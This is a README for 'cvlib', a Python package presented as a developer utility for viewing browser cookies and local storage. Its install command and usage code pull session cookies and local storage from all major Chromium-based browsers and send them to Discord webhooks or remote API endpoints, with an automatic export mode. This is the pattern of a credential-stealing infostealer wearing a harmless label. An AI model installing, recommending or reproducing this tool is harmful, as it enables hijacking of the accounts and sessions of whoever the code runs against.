cvlib

A cross-platform developer utility for viewing and exporting browser cookies and local storage data. Works as a standalone script or as an importable Python library.

Install

pip install git+https://github.com/ovrlust/cookie-library.git

Then use it:

from cvlib import CookieViewer

Quick Start

from cvlib import CookieViewer

viewer = CookieViewer(verbose=True)

# List installed browsers
print(viewer.list_browsers())

# Get cookies from all browsers
cookies = viewer.get_cookies()

# Get local storage from all browsers
ls = viewer.get_local_storage()

# Get everything at once
all_data = viewer.get_all()

# Print formatted report
print(viewer.format_results(all_data))

Output Destinations

The library auto-detects output destinations from your script's variables:

# Just set any of these variables in your script:
webhook_url = "https://discord.com/api/webhooks/..."  # → auto-sends to Discord
output_file = "cookies.txt"                            # → auto-writes to file
api_url = "https://example.com/api/logs"               # → auto-POSTs to API

viewer = CookieViewer()
data = viewer.get_all()
viewer.export(data)  # detects and sends to all of the above

Explicit Outputs

from cvlib import CookieViewer, FileOutput, DiscordOutput, APIOutput

viewer = CookieViewer(outputs=[
    FileOutput("cookies.json", json_mode=True),
    DiscordOutput("https://discord.com/api/webhooks/..."),
    APIOutput("https://example.com/api/logs", headers={"Authorization": "Bearer ..."}),
])

viewer.export_all()  # extract + export in one call

Supported Browsers

Browser	macOS	Windows	Linux
Chrome	✅	✅	✅
Chrome Canary	✅	✅	—
Edge	✅	✅	✅
Brave	✅	✅	✅
Vivaldi	✅	✅	✅
Opera	✅	✅	—
Opera GX	✅	✅	—
Chromium	—	—	✅

Standalone Usage

python cvlib.py

License

MIT